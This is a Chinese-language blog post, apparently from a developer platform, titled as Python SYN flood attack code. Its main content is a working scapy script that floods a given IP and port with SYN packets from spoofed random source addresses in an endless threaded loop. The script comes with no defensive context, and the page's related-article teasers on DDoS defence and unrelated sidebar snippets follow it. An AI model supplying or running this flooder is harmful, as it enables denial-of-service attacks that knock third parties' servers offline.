文档章节

Python的syn flood攻击代码

moodlxs
 moodlxs
发布于 2016/12/08 18:01
字数 114
阅读 167
收藏 0
import socket, random, sys, threading
from scapy.all import *
 
if len(sys.argv) != 3:
    print "Usage: %s <Target IP> <Port>" % sys.argv[0]
    sys.exit(1)
 
target = sys.argv[1]
port = int(sys.argv[2])
 
total = 0
conf.iface='en1';#network card XD
 
class sendSYN(threading.Thread):
    global target, port
    def __init__(self):
        threading.Thread.__init__(self)
    def run(self):
        i = IP()
        i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
        i.dst = target
 
        t = TCP()
        t.sport = random.randint(1,65535)
        t.dport = port
        t.flags = 'S'
 
        send(i/t, verbose=0)
 
print "Flooding %s:%i with SYN packets." % (target, port)
while 1:
    sendSYN().start()
    total += 1
    sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)

 

© 著作权归作者所有

共有 人打赏支持
moodlxs
粉丝 7
博文 41
码字总数 168307
作品 0
深圳
高级程序员
私信 提问
DDOS攻击原理及防护方法论

从 07年的爱沙尼亚DDOS信息战,到今年广西南宁30个网吧遭受到DDOS勒索,再到新浪网遭受DDOS攻击无法提供对外服务500多分钟。 DDOS愈演愈烈,攻击事件明显增多,攻击流量也明显增大,形势十分...

bazhinv
2016/02/01
0
0
详解SYN Flood攻击原理与防范

YN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,它是利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方...

wcczrx
2017/07/31
0
0
possible SYN flooding on port 7244. Sending cookie

kernel: possible SYN flooding on port 80. Sending cookies. 以上是系统日志中的信息,可能是遭到SYN洪水攻击(SYN Flood)。 那什么是SYN Flood呢? SYN Flood攻击是一种典型的拒绝服务型(...

我爱吃葱花
2015/09/30
1K
0
转载 -预防Ddos攻击

本文将一一描述这些最常见、最具代表性攻击方式,并介绍它们的防御方案。 SYN Flood   SYN Flood是互联网上最经典的DDoS攻击方式之一,最早出现于1999年左右,雅虎是当时最著名的受害者。S...

Mr_Tea
2016/09/02
31
0
如何防御网站被ddos攻击 首先要了解什么是流量攻击

什么是DDOS流量攻击?我们大多数人第一眼看到这个DDOS就觉得是英文的,有点难度,毕竟是国外的,其实简单通俗来讲,DDOS攻击是利用带宽的流量来攻击服务器以及网站。 举个例子,服务器目前带...

网站安全
2018/10/30
0
0

没有更多内容

加载失败,请刷新页面

加载更多

前嗅ForeSpider教程:采集黄页88

以黄页88为例,采集当前列表页新闻的正文数据: 第一步:新建任务 ①点击左上角“加号”新建任务,如图1: 【图1】 ②在弹窗里填写采集地址,任务名称,如图2: 【图2】 ③点击下一步,选择进...

forespider
15分钟前
1
0
Spring Cloud Alibaba基础教程:Nacos 生产级版本 0.8.0

昨晚Nacos社区发布了第一个生产级版本:0.8.0。由于该版本除了Bug修复之外,还提供了几个生产管理非常重要的特性,所以觉得还是有必要写一篇讲讲这次升级,在后续的文章中也都将以0.8.0版本为...

程序猿DD
23分钟前
1
0
HTML+CSS实现div的高度自适应填满剩余空间的7种方法

如图上下两部分,上面部分适应内容的高度,下面部分填充剩余部分。 当下面内容不够时,在下面部分出现滚动条 有2种情况 1.上面内容的高度适应内容,只有2种方法(flex、quirks+table) 2.上面...

linsk1998
26分钟前
1
0
Oracle学习日志-8(查询结果排序)

要用到的表如下 书上写到,上面的查询结果排序是随机的,再执行几次结果可能不同,但是我执行多次后,查询结果的排序都是如此,是因为oracle的默认处理方式是按照物理储存顺序查询的,而我在...

白话
33分钟前
1
0
Data truncation: Incorrect datetime value: '0000-00-00 00:00:00' for column xxx

1. 错误提示 Data truncation: Incorrect datetime value: '0000-00-00 00:00:00' for column xxx 2. 问题分析 从上面的描述我们可以看出原因是:我们给类型是datetime的xxx字段赋值0000-00......

易冥天
35分钟前
2
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部